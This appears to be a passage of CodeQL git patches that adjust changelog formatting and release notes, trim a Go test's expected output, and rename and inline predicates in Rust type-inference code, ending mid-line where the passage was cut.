57fc5b2cc6d0..811b2353c99d 100644 --- a/java/ql/lib/change-notes/released/7.1.2.md +++ b/java/ql/lib/change-notes/released/7.1.2.md @@ -3,7 +3,7 @@ ### Minor Analysis Improvements * Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it. -* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure '/', '\', '..' are not in the path. +* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure `/`, `\\`, `..` are not in the path. ### Bug Fixes From 759ad8adc1748afea0388a46f4cdd440277a284b Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Mon, 19 May 2025 16:53:05 -0500 Subject: [PATCH 220/535] Fixing Go 1.24 release accuracy. It went supported in 2.20.5 and docs were a late commit so this fixes it upstream. --- .../codeql-changelog/codeql-cli-2.20.5.rst | 8 ++++++++ .../codeql-changelog/codeql-cli-2.20.6.rst | 5 ----- go/ql/lib/CHANGELOG.md | 8 ++++---- go/ql/lib/change-notes/released/4.1.0.md | 4 ++++ go/ql/lib/change-notes/released/4.2.0.md | 4 ---- 5 files changed, 16 insertions(+), 13 deletions(-) diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.5.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.5.rst index 48d4ff27f0b1..855f25655ec6 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.5.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.5.rst @@ -109,6 +109,14 @@ Python * Fixed a bug in the extractor where a comment inside a subscript could sometimes cause the AST to be missing nodes. * Using the :code:`break` and :code:`continue` keywords outside of a loop, which is a syntax error but is accepted by our parser, would cause the control-flow construction to fail. This is now no longer the case. +Major Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Golang +"""""" + +* Go 1.24 is now supported. This includes the new language feature of generic type aliases. + Minor Analysis Improvements ~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst index 006aeec5a05c..76c038bded29 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst @@ -71,11 +71,6 @@ Language Libraries Major Analysis Improvements ~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Golang -"""""" - -* Go 1.24 is now supported. This includes the new language feature of generic type aliases. - JavaScript/TypeScript """"""""""""""""""""" diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md index 9eb5ef69ebcd..b6031842a21a 100644 --- a/go/ql/lib/CHANGELOG.md +++ b/go/ql/lib/CHANGELOG.md @@ -30,10 +30,6 @@ No user-facing changes. * The member predicate `hasLocationInfo` has been deprecated on the following classes: `BasicBlock`, `Callable`, `Content`, `ContentSet`, `ControlFlow::Node`, `DataFlowCallable`, `DataFlow::Node`, `Entity`, `GVN`, `HtmlTemplate::TemplateStmt`, `IR:WriteTarget`, `SourceSinkInterpretationInput::SourceOrSinkElement`, `SourceSinkInterpretationInput::InterpretNode`, `SsaVariable`, `SsaDefinition`, `SsaWithFields`, `StringOps::ConcatenationElement`, `Type`, and `VariableWithFields`. Use `getLocation()` instead. -### Major Analysis Improvements - -* Go 1.24 is now supported. This includes the new language feature of generic type aliases. - ### Minor Analysis Improvements * The location info for the following classes has been changed slightly to match a location that is in the database: `BasicBlock`, `ControlFlow::EntryNode`, `ControlFlow::ExitNode`, `ControlFlow::ConditionGuardNode`, `IR::ImplicitLiteralElementIndexInstruction`, `IR::EvalImplicitTrueInstruction`, `SsaImplicitDefinition`, `SsaPhiNode`. @@ -48,6 +44,10 @@ No user-facing changes. * The member predicate `getNamedType` on `GoMicro::ServiceInterfaceType` has been deprecated. Use the new member predicate `getDefinedType` instead. * The member predicate `getNamedType` on `Twirp::ServiceInterfaceType` has been deprecated. Use the new member predicate `getDefinedType` instead. +### Major Analysis Improvements + +* Go 1.24 is now supported. This includes the new language feature of generic type aliases. + ### Minor Analysis Improvements * Taint models have been added for the `weak` package, which was added in Go 1.24. diff --git a/go/ql/lib/change-notes/released/4.1.0.md b/go/ql/lib/change-notes/released/4.1.0.md index 3061e491f48b..728d754bd1df 100644 --- a/go/ql/lib/change-notes/released/4.1.0.md +++ b/go/ql/lib/change-notes/released/4.1.0.md @@ -6,6 +6,10 @@ * The member predicate `getNamedType` on `GoMicro::ServiceInterfaceType` has been deprecated. Use the new member predicate `getDefinedType` instead. * The member predicate `getNamedType` on `Twirp::ServiceInterfaceType` has been deprecated. Use the new member predicate `getDefinedType` instead. +### Major Analysis Improvements + +* Go 1.24 is now supported. This includes the new language feature of generic type aliases. + ### Minor Analysis Improvements * Taint models have been added for the `weak` package, which was added in Go 1.24. diff --git a/go/ql/lib/change-notes/released/4.2.0.md b/go/ql/lib/change-notes/released/4.2.0.md index 771e8733053d..34af613a0159 100644 --- a/go/ql/lib/change-notes/released/4.2.0.md +++ b/go/ql/lib/change-notes/released/4.2.0.md @@ -4,10 +4,6 @@ * The member predicate `hasLocationInfo` has been deprecated on the following classes: `BasicBlock`, `Callable`, `Content`, `ContentSet`, `ControlFlow::Node`, `DataFlowCallable`, `DataFlow::Node`, `Entity`, `GVN`, `HtmlTemplate::TemplateStmt`, `IR:WriteTarget`, `SourceSinkInterpretationInput::SourceOrSinkElement`, `SourceSinkInterpretationInput::InterpretNode`, `SsaVariable`, `SsaDefinition`, `SsaWithFields`, `StringOps::ConcatenationElement`, `Type`, and `VariableWithFields`. Use `getLocation()` instead. -### Major Analysis Improvements - -* Go 1.24 is now supported. This includes the new language feature of generic type aliases. - ### Minor Analysis Improvements * The location info for the following classes has been changed slightly to match a location that is in the database: `BasicBlock`, `ControlFlow::EntryNode`, `ControlFlow::ExitNode`, `ControlFlow::ConditionGuardNode`, `IR::ImplicitLiteralElementIndexInstruction`, `IR::EvalImplicitTrueInstruction`, `SsaImplicitDefinition`, `SsaPhiNode`. From e5efe83243a0c18d0b3816b1766ef770f52f2afc Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Mon, 19 May 2025 17:03:23 -0500 Subject: [PATCH 221/535] Fixing upstream backticks around problematic characters so that the RST generator doesn't choke on asterisks --- .../codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst | 4 ++-- java/ql/lib/CHANGELOG.md | 4 ++-- java/ql/lib/change-notes/released/7.0.0.md | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst index f488198ea3d3..143f50387b75 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst @@ -117,8 +117,8 @@ Java/Kotlin * Deleted the deprecated :code:`isLValue` and :code:`isRValue` predicates from the :code:`VarAccess` class, use :code:`isVarWrite` and :code:`isVarRead` respectively instead. * Deleted the deprecated :code:`getRhs` predicate from the :code:`VarWrite` class, use :code:`getASource` instead. * Deleted the deprecated :code:`LValue` and :code:`RValue` classes, use :code:`VarWrite` and :code:`VarRead` respectively instead. -* Deleted a lot of deprecated classes ending in "*Access", use the corresponding "*Call" classes instead. -* Deleted a lot of deprecated predicates ending in "*Access", use the corresponding "*Call" predicates instead. +* Deleted a lot of deprecated classes ending in ``*Access``, use the corresponding ``*Call`` classes instead. +* Deleted a lot of deprecated predicates ending in ``*Access``, use the corresponding ``*Call`` predicates instead. * Deleted the deprecated :code:`EnvInput` and :code:`DatabaseInput` classes from :code:`FlowSources.qll`, use the threat models feature instead. * Deleted some deprecated API predicates from :code:`SensitiveApi.qll`, use the Sink classes from that file instead. diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index fff0ac11496b..412521919b9f 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -55,8 +55,8 @@ No user-facing changes. * Deleted the deprecated `isLValue` and `isRValue` predicates from the `VarAccess` class, use `isVarWrite` and `isVarRead` respectively instead. * Deleted the deprecated `getRhs` predicate from the `VarWrite` class, use `getASource` instead. * Deleted the deprecated `LValue` and `RValue` classes, use `VarWrite` and `VarRead` respectively instead. -* Deleted a lot of deprecated classes ending in "*Access", use the corresponding "*Call" classes instead. -* Deleted a lot of deprecated predicates ending in "*Access", use the corresponding "*Call" predicates instead. +* Deleted a lot of deprecated classes ending in `*Access`, use the corresponding `*Call` classes instead. +* Deleted a lot of deprecated predicates ending in `*Access`, use the corresponding `*Call` predicates instead. * Deleted the deprecated `EnvInput` and `DatabaseInput` classes from `FlowSources.qll`, use the threat models feature instead. * Deleted some deprecated API predicates from `SensitiveApi.qll`, use the Sink classes from that file instead. diff --git a/java/ql/lib/change-notes/released/7.0.0.md b/java/ql/lib/change-notes/released/7.0.0.md index 08a4b0f85bff..1f367abb6680 100644 --- a/java/ql/lib/change-notes/released/7.0.0.md +++ b/java/ql/lib/change-notes/released/7.0.0.md @@ -5,8 +5,8 @@ * Deleted the deprecated `isLValue` and `isRValue` predicates from the `VarAccess` class, use `isVarWrite` and `isVarRead` respectively instead. * Deleted the deprecated `getRhs` predicate from the `VarWrite` class, use `getASource` instead. * Deleted the deprecated `LValue` and `RValue` classes, use `VarWrite` and `VarRead` respectively instead. -* Deleted a lot of deprecated classes ending in "*Access", use the corresponding "*Call" classes instead. -* Deleted a lot of deprecated predicates ending in "*Access", use the corresponding "*Call" predicates instead. +* Deleted a lot of deprecated classes ending in `*Access`, use the corresponding `*Call` classes instead. +* Deleted a lot of deprecated predicates ending in `*Access`, use the corresponding `*Call` predicates instead. * Deleted the deprecated `EnvInput` and `DatabaseInput` classes from `FlowSources.qll`, use the threat models feature instead. * Deleted some deprecated API predicates from `SensitiveApi.qll`, use the Sink classes from that file instead. From 7570f503ceacd4b0be1e78ae8176ef84465ca346 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Mon, 19 May 2025 17:06:29 -0500 Subject: [PATCH 222/535] Escaping more problematic asterisks --- .../codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst | 2 +- ruby/ql/lib/CHANGELOG.md | 2 +- ruby/ql/lib/change-notes/released/4.0.0.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst index 143f50387b75..a5c9c4f222f8 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst @@ -144,7 +144,7 @@ Ruby * Deleted the deprecated :code:`ModelClass` and :code:`ModelInstance` classes from :code:`ActiveResource.qll`, use :code:`ModelClassNode` and :code:`ModelClassNode.getAnInstanceReference()` instead. * Deleted the deprecated :code:`Collection` class from :code:`ActiveResource.qll`, use :code:`CollectionSource` instead. * Deleted the deprecated :code:`ServiceInstantiation` and :code:`ClientInstantiation` classes from :code:`Twirp.qll`. -* Deleted a lot of deprecated dataflow modules from "*Query.qll" files. +* Deleted a lot of deprecated dataflow modules from ``*Query.qll`` files. * Deleted the old deprecated TypeTracking library. Swift diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md index f9858668d937..4d3dfc9c4360 100644 --- a/ruby/ql/lib/CHANGELOG.md +++ b/ruby/ql/lib/CHANGELOG.md @@ -48,7 +48,7 @@ No user-facing changes. * Deleted the deprecated `ModelClass` and `ModelInstance` classes from `ActiveResource.qll`, use `ModelClassNode` and `ModelClassNode.getAnInstanceReference()` instead. * Deleted the deprecated `Collection` class from `ActiveResource.qll`, use `CollectionSource` instead. * Deleted the deprecated `ServiceInstantiation` and `ClientInstantiation` classes from `Twirp.qll`. -* Deleted a lot of deprecated dataflow modules from "*Query.qll" files. +* Deleted a lot of deprecated dataflow modules from `*Query.qll` files. * Deleted the old deprecated TypeTracking library. ## 3.0.2 diff --git a/ruby/ql/lib/change-notes/released/4.0.0.md b/ruby/ql/lib/change-notes/released/4.0.0.md index 9674020e9ddc..28ccd379dc57 100644 --- a/ruby/ql/lib/change-notes/released/4.0.0.md +++ b/ruby/ql/lib/change-notes/released/4.0.0.md @@ -14,5 +14,5 @@ * Deleted the deprecated `ModelClass` and `ModelInstance` classes from `ActiveResource.qll`, use `ModelClassNode` and `ModelClassNode.getAnInstanceReference()` instead. * Deleted the deprecated `Collection` class from `ActiveResource.qll`, use `CollectionSource` instead. * Deleted the deprecated `ServiceInstantiation` and `ClientInstantiation` classes from `Twirp.qll`. -* Deleted a lot of deprecated dataflow modules from "*Query.qll" files. +* Deleted a lot of deprecated dataflow modules from `*Query.qll` files. * Deleted the old deprecated TypeTracking library. From f6f6a5ccc6027bf04d30c1fe32a7dc4d16072504 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 20 May 2025 02:11:05 +0100 Subject: [PATCH 223/535] Only list type params in test files This will make the test results not depend on the version of the standard library being used, which means we don't have to update it with each new release. --- .../semmle/go/Function/TypeParamType.expected | 206 ------------------ .../semmle/go/Function/TypeParamType.ql | 6 +- 2 files changed, 5 insertions(+), 207 deletions(-) diff --git a/go/ql/test/library-tests/semmle/go/Function/TypeParamType.expected b/go/ql/test/library-tests/semmle/go/Function/TypeParamType.expected index 27a0d5171dec..bda7c1517975 100644 --- a/go/ql/test/library-tests/semmle/go/Function/TypeParamType.expected +++ b/go/ql/test/library-tests/semmle/go/Function/TypeParamType.expected @@ -20,10 +20,6 @@ numberOfTypeParameters | genericFunctions.go:152:6:152:36 | multipleAnonymousTypeParamsType | 3 | | genericFunctions.go:154:51:154:51 | f | 3 | #select -| cmp.Compare | 0 | T | Ordered | -| cmp.Less | 0 | T | Ordered | -| cmp.Or | 0 | T | comparable | -| cmp.isNaN | 0 | T | Ordered | | codeql-go-tests/function.EdgeConstraint | 0 | Node | interface { } | | codeql-go-tests/function.Element | 0 | S | interface { } | | codeql-go-tests/function.GenericFunctionInAnotherFile | 0 | T | interface { } | @@ -57,205 +53,3 @@ numberOfTypeParameters | codeql-go-tests/function.multipleAnonymousTypeParamsType.f | 0 | _ | interface { } | | codeql-go-tests/function.multipleAnonymousTypeParamsType.f | 1 | _ | interface { string } | | codeql-go-tests/function.multipleAnonymousTypeParamsType.f | 2 | _ | interface { } | -| github.com/anotherpkg.GenericFunctionInAnotherPackage | 0 | T | interface { } | -| internal/abi.Escape | 0 | T | interface { } | -| internal/bytealg.HashStr | 0 | T | interface { string \| []uint8 } | -| internal/bytealg.HashStrRev | 0 | T | interface { string \| []uint8 } | -| internal/bytealg.IndexRabinKarp | 0 | T | interface { string \| []uint8 } | -| internal/bytealg.LastIndexRabinKarp | 0 | T | interface { string \| []uint8 } | -| internal/poll.ignoringEINTR2 | 0 | T | interface { } | -| internal/runtime/atomic.Pointer.CompareAndSwap | 0 | T | interface { } | -| internal/runtime/atomic.Pointer.CompareAndSwapNoWB | 0 | T | interface { } | -| internal/runtime/atomic.Pointer.Load | 0 | T | interface { } | -| internal/runtime/atomic.Pointer.Store | 0 | T | interface { } | -| internal/runtime/atomic.Pointer.StoreNoWB | 0 | T | interface { } | -| internal/sync.HashTrieMap.All | 0 | K | comparable | -| internal/sync.HashTrieMap.All | 1 | V | interface { } | -| internal/sync.HashTrieMap.CompareAndDelete | 0 | K | comparable | -| internal/sync.HashTrieMap.CompareAndDelete | 1 | V | interface { } | -| internal/sync.HashTrieMap.CompareAndSwap | 0 | K | comparable | -| internal/sync.HashTrieMap.CompareAndSwap | 1 | V | interface { } | -| internal/sync.HashTrieMap.Delete | 0 | K | comparable | -| internal/sync.HashTrieMap.Load | 0 | K | comparable | -| internal/sync.HashTrieMap.Load | 1 | V | interface { } | -| internal/sync.HashTrieMap.LoadAndDelete | 0 | K | comparable | -| internal/sync.HashTrieMap.LoadAndDelete | 1 | V | interface { } | -| internal/sync.HashTrieMap.LoadOrStore | 0 | K | comparable | -| internal/sync.HashTrieMap.LoadOrStore | 1 | V | interface { } | -| internal/sync.HashTrieMap.Range | 0 | K | comparable | -| internal/sync.HashTrieMap.Range | 1 | V | interface { } | -| internal/sync.HashTrieMap.Store | 0 | K | comparable | -| internal/sync.HashTrieMap.Store | 1 | V | interface { } | -| internal/sync.HashTrieMap.Swap | 0 | K | comparable | -| internal/sync.HashTrieMap.Swap | 1 | V | interface { } | -| internal/sync.HashTrieMap.find | 0 | K | comparable | -| internal/sync.HashTrieMap.find | 1 | V | interface { } | -| internal/sync.HashTrieMap.iter | 0 | K | comparable | -| internal/sync.HashTrieMap.iter | 1 | V | interface { } | -| internal/sync.entry | 0 | K | comparable | -| internal/sync.entry | 1 | V | interface { } | -| internal/sync.entry.compareAndDelete | 0 | K | comparable | -| internal/sync.entry.compareAndDelete | 1 | V | interface { } | -| internal/sync.entry.compareAndSwap | 0 | K | comparable | -| internal/sync.entry.compareAndSwap | 1 | V | interface { } | -| internal/sync.entry.loadAndDelete | 0 | K | comparable | -| internal/sync.entry.loadAndDelete | 1 | V | interface { } | -| internal/sync.entry.lookup | 0 | K | comparable | -| internal/sync.entry.lookup | 1 | V | interface { } | -| internal/sync.entry.lookupWithValue | 0 | K | comparable | -| internal/sync.entry.lookupWithValue | 1 | V | interface { } | -| internal/sync.entry.swap | 0 | K | comparable | -| internal/sync.entry.swap | 1 | V | interface { } | -| internal/sync.newEntryNode | 0 | K | comparable | -| internal/sync.newEntryNode | 1 | V | interface { } | -| iter.Pull | 0 | V | interface { } | -| iter.Pull2 | 0 | K | interface { } | -| iter.Pull2 | 1 | V | interface { } | -| iter.Seq | 0 | V | interface { } | -| iter.Seq2 | 0 | K | interface { } | -| iter.Seq2 | 1 | V | interface { } | -| os.doInRoot | 0 | T | interface { } | -| os.ignoringEINTR2 | 0 | T | interface { } | -| reflect.rangeNum | 1 | N | interface { int64 \| uint64 } | -| runtime.AddCleanup | 0 | T | interface { } | -| runtime.AddCleanup | 1 | S | interface { } | -| runtime.fandbits | 0 | F | floaty | -| runtime.fmax | 0 | F | floaty | -| runtime.fmin | 0 | F | floaty | -| runtime.forbits | 0 | F | floaty | -| runtime.noEscapePtr | 0 | T | interface { } | -| slices.All | 0 | Slice | interface { ~[]E } | -| slices.All | 1 | E | interface { } | -| slices.AppendSeq | 0 | Slice | interface { ~[]E } | -| slices.AppendSeq | 1 | E | interface { } | -| slices.Backward | 0 | Slice | interface { ~[]E } | -| slices.Backward | 1 | E | interface { } | -| slices.BinarySearch | 0 | S | interface { ~[]E } | -| slices.BinarySearch | 1 | E | Ordered | -| slices.BinarySearchFunc | 0 | S | interface { ~[]E } | -| slices.BinarySearchFunc | 1 | E | interface { } | -| slices.BinarySearchFunc | 2 | T | interface { } | -| slices.Chunk | 0 | Slice | interface { ~[]E } | -| slices.Chunk | 1 | E | interface { } | -| slices.Clip | 0 | S | interface { ~[]E } | -| slices.Clip | 1 | E | interface { } | -| slices.Clone | 0 | S | interface { ~[]E } | -| slices.Clone | 1 | E | interface { } | -| slices.Collect | 0 | E | interface { } | -| slices.Compact | 0 | S | interface { ~[]E } | -| slices.Compact | 1 | E | comparable | -| slices.CompactFunc | 0 | S | interface { ~[]E } | -| slices.CompactFunc | 1 | E | interface { } | -| slices.Compare | 0 | S | interface { ~[]E } | -| slices.Compare | 1 | E | Ordered | -| slices.CompareFunc | 0 | S1 | interface { ~[]E1 } | -| slices.CompareFunc | 1 | S2 | interface { ~[]E2 } | -| slices.CompareFunc | 2 | E1 | interface { } | -| slices.CompareFunc | 3 | E2 | interface { } | -| slices.Concat | 0 | S | interface { ~[]E } | -| slices.Concat | 1 | E | interface { } | -| slices.Contains | 0 | S | interface { ~[]E } | -| slices.Contains | 1 | E | comparable | -| slices.ContainsFunc | 0 | S | interface { ~[]E } | -| slices.ContainsFunc | 1 | E | interface { } | -| slices.Delete | 0 | S | interface { ~[]E } | -| slices.Delete | 1 | E | interface { } | -| slices.DeleteFunc | 0 | S | interface { ~[]E } | -| slices.DeleteFunc | 1 | E | interface { } | -| slices.Equal | 0 | S | interface { ~[]E } | -| slices.Equal | 1 | E | comparable | -| slices.EqualFunc | 0 | S1 | interface { ~[]E1 } | -| slices.EqualFunc | 1 | S2 | interface { ~[]E2 } | -| slices.EqualFunc | 2 | E1 | interface { } | -| slices.EqualFunc | 3 | E2 | interface { } | -| slices.Grow | 0 | S | interface { ~[]E } | -| slices.Grow | 1 | E | interface { } | -| slices.Index | 0 | S | interface { ~[]E } | -| slices.Index | 1 | E | comparable | -| slices.IndexFunc | 0 | S | interface { ~[]E } | -| slices.IndexFunc | 1 | E | interface { } | -| slices.Insert | 0 | S | interface { ~[]E } | -| slices.Insert | 1 | E | interface { } | -| slices.IsSorted | 0 | S | interface { ~[]E } | -| slices.IsSorted | 1 | E | Ordered | -| slices.IsSortedFunc | 0 | S | interface { ~[]E } | -| slices.IsSortedFunc | 1 | E | interface { } | -| slices.Max | 0 | S | interface { ~[]E } | -| slices.Max | 1 | E | Ordered | -| slices.MaxFunc | 0 | S | interface { ~[]E } | -| slices.MaxFunc | 1 | E | interface { } | -| slices.Min | 0 | S | interface { ~[]E } | -| slices.Min | 1 | E | Ordered | -| slices.MinFunc | 0 | S | interface { ~[]E } | -| slices.MinFunc | 1 | E | interface { } | -| slices.Repeat | 0 | S | interface { ~[]E } | -| slices.Repeat | 1 | E | interface { } | -| slices.Replace | 0 | S | interface { ~[]E } | -| slices.Replace | 1 | E | interface { } | -| slices.Reverse | 0 | S | interface { ~[]E } | -| slices.Reverse | 1 | E | interface { } | -| slices.Sort | 0 | S | interface { ~[]E } | -| slices.Sort | 1 | E | Ordered | -| slices.SortFunc | 0 | S | interface { ~[]E } | -| slices.SortFunc | 1 | E | interface { } | -| slices.SortStableFunc | 0 | S | interface { ~[]E } | -| slices.SortStableFunc | 1 | E | interface { } | -| slices.Sorted | 0 | E | Ordered | -| slices.SortedFunc | 0 | E | interface { } | -| slices.SortedStableFunc | 0 | E | interface { } | -| slices.Values | 0 | Slice | interface { ~[]E } | -| slices.Values | 1 | E | interface { } | -| slices.breakPatternsCmpFunc | 0 | E | interface { } | -| slices.breakPatternsOrdered | 0 | E | Ordered | -| slices.choosePivotCmpFunc | 0 | E | interface { } | -| slices.choosePivotOrdered | 0 | E | Ordered | -| slices.heapSortCmpFunc | 0 | E | interface { } | -| slices.heapSortOrdered | 0 | E | Ordered | -| slices.insertionSortCmpFunc | 0 | E | interface { } | -| slices.insertionSortOrdered | 0 | E | Ordered | -| slices.isNaN | 0 | T | Ordered | -| slices.medianAdjacentCmpFunc | 0 | E | interface { } | -| slices.medianAdjacentOrdered | 0 | E | Ordered | -| slices.medianCmpFunc | 0 | E | interface { } | -| slices.medianOrdered | 0 | E | Ordered | -| slices.order2CmpFunc | 0 | E | interface { } | -| slices.order2Ordered | 0 | E | Ordered | -| slices.overlaps | 0 | E | interface { } | -| slices.partialInsertionSortCmpFunc | 0 | E | interface { } | -| slices.partialInsertionSortOrdered | 0 | E | Ordered | -| slices.partitionCmpFunc | 0 | E | interface { } | -| slices.partitionEqualCmpFunc | 0 | E | interface { } | -| slices.partitionEqualOrdered | 0 | E | Ordered | -| slices.partitionOrdered | 0 | E | Ordered | -| slices.pdqsortCmpFunc | 0 | E | interface { } | -| slices.pdqsortOrdered | 0 | E | Ordered | -| slices.reverseRangeCmpFunc | 0 | E | interface { } | -| slices.reverseRangeOrdered | 0 | E | Ordered | -| slices.rotateCmpFunc | 0 | E | interface { } | -| slices.rotateLeft | 0 | E | interface { } | -| slices.rotateOrdered | 0 | E | Ordered | -| slices.rotateRight | 0 | E | interface { } | -| slices.siftDownCmpFunc | 0 | E | interface { } | -| slices.siftDownOrdered | 0 | E | Ordered | -| slices.stableCmpFunc | 0 | E | interface { } | -| slices.stableOrdered | 0 | E | Ordered | -| slices.startIdx | 0 | E | interface { } | -| slices.swapRangeCmpFunc | 0 | E | interface { } | -| slices.swapRangeOrdered | 0 | E | Ordered | -| slices.symMergeCmpFunc | 0 | E | interface { } | -| slices.symMergeOrdered | 0 | E | Ordered | -| strconv.bsearch | 0 | S | interface { ~[]E } | -| strconv.bsearch | 1 | E | interface { ~uint16 \| ~uint32 } | -| sync.OnceValue | 0 | T | interface { } | -| sync.OnceValues | 0 | T1 | interface { } | -| sync.OnceValues | 1 | T2 | interface { } | -| sync/atomic.Pointer | 0 | T | interface { } | -| sync/atomic.Pointer.CompareAndSwap | 0 | T | interface { } | -| sync/atomic.Pointer.Load | 0 | T | interface { } | -| sync/atomic.Pointer.Store | 0 | T | interface { } | -| sync/atomic.Pointer.Swap | 0 | T | interface { } | -| time.atoi | 0 | bytes | interface { []uint8 \| string } | -| time.isDigit | 0 | bytes | interface { []uint8 \| string } | -| time.leadingInt | 0 | bytes | interface { []uint8 \| string } | -| time.parseNanoseconds | 0 | bytes | interface { []uint8 \| string } | -| time.parseRFC3339 | 0 | bytes | interface { []uint8 \| string } | diff --git a/go/ql/test/library-tests/semmle/go/Function/TypeParamType.ql b/go/ql/test/library-tests/semmle/go/Function/TypeParamType.ql index 202a437d6a0b..02dec23d2a86 100644 --- a/go/ql/test/library-tests/semmle/go/Function/TypeParamType.ql +++ b/go/ql/test/library-tests/semmle/go/Function/TypeParamType.ql @@ -6,5 +6,9 @@ query predicate numberOfTypeParameters(TypeParamParentEntity parent, int n) { } from TypeParamType tpt, TypeParamParentEntity ty -where ty = tpt.getParent() +where + ty = tpt.getParent() and + // Note that we cannot use the location of `tpt` itself as we currently fail + // to extract an object for type parameters for methods on generic structs. + exists(ty.getLocation()) select ty.getQualifiedName(), tpt.getIndex(), tpt.getParamName(), tpt.getConstraint().pp() From 98c6783ed92f8d15154f5a766d2d04e30ba6770a Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Tue, 20 May 2025 09:20:35 +0200 Subject: [PATCH 224/535] Rust: Rename predicate and inline predicate only used once --- .../codeql/rust/internal/TypeInference.qll | 2 +- .../typeinference/internal/TypeInference.qll | 48 ++++++++----------- 2 files changed, 20 insertions(+), 30 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index ad32c7810b8b..1807ef60d469 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -112,7 +112,7 @@ private module Input2 implements InputSig2 { TypeMention getABaseTypeMention(Type t) { none() } - TypeMention getTypeParameterConstraint(TypeParameter tp) { + TypeMention getATypeParameterConstraint(TypeParameter tp) { result = tp.(TypeParamTypeParameter).getTypeParam().getTypeBoundList().getABound().getTypeRepr() or result = tp.(SelfTypeParameter).getTrait() diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 177e1440575d..1bce43c436bd 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -309,7 +309,7 @@ module Make1 Input1> { * ``` * the type parameter `T` has the constraint `IComparable`. */ - TypeMention getTypeParameterConstraint(TypeParameter tp); + TypeMention getATypeParameterConstraint(TypeParameter tp); /** * Holds if @@ -510,29 +510,6 @@ module Make1 Input1> { ) } - /** - * Holds if all the places where the same type parameter occurs in `tm` - * are equal in `app`. - * - * TODO: As of now this only checks equality at the root of the types - * instantiated for type parameters. So, for instance, `Pair, Vec>` - * is mistakenly considered an instantiation of `Pair`. - */ - pragma[nomagic] - private predicate typeParametersHaveEqualInstantiation( - App app, TypeAbstraction abs, TypeMention tm - ) { - // We only need to check equality if the concrete types are satisfied. - satisfiesConcreteTypes(app, abs, tm) and - ( - not exists(getNthTypeParameter(abs, _)) - or - exists(int n | n = max(int i | exists(getNthTypeParameter(abs, i))) | - typeParametersHaveEqualInstantiationFromIndex(app, abs, tm, n) - ) - ) - } - /** * Holds if `app` is a possible instantiation of `tm`. That is, by making * appropriate substitutions for the free type parameters in `tm` given by @@ -546,8 +523,21 @@ module Make1 Input1> { * - `Pair` is _not_ an instantiation of `Pair` */ predicate isInstantiationOf(App app, TypeAbstraction abs, TypeMention tm) { - // `typeParametersHaveEqualInstantiation` suffices as it implies `satisfiesConcreteTypes`. - typeParametersHaveEqualInstantiation(app, abs, tm) + // We only need to check equality if the concrete types are satisfied. + satisfiesConcreteTypes(app, abs, tm) and + // Check if all the places where the same type parameter occurs in `tm` + // are equal in `app`. + // + // TODO: As of now this only checks equality at the root of the types + // instantiated for type parameters. So, for instance, `Pair, Vec>` + // is mistakenly considered an instantiation of `Pair`. + ( + not exists(getNthTypeParameter(abs, _)) + or + exists(int n | n = max(int i | exists(getNthTypeParameter(abs, i))) | + typeParametersHaveEqualInstantiationFromIndex(app, abs, tm, n) + ) + ) } } @@ -599,8 +589,8 @@ module Make1 Input1> { } /** - * The type mention `condition` satisfies `constraint` with the type `t` - * at the path `path`. + * Holds if the type mention `condition` satisfies `constraint` with the + * type `t` at the path `path`. */ predicate conditionSatisfiesConstraintTypeAt( TypeAbstraction abs, TypeMention condition, TypeMention constraint, TypePath path, Type t @@ -1207,7 +1197,7 @@ module Make1 Input1> { tp1 != tp2 and tp1 = 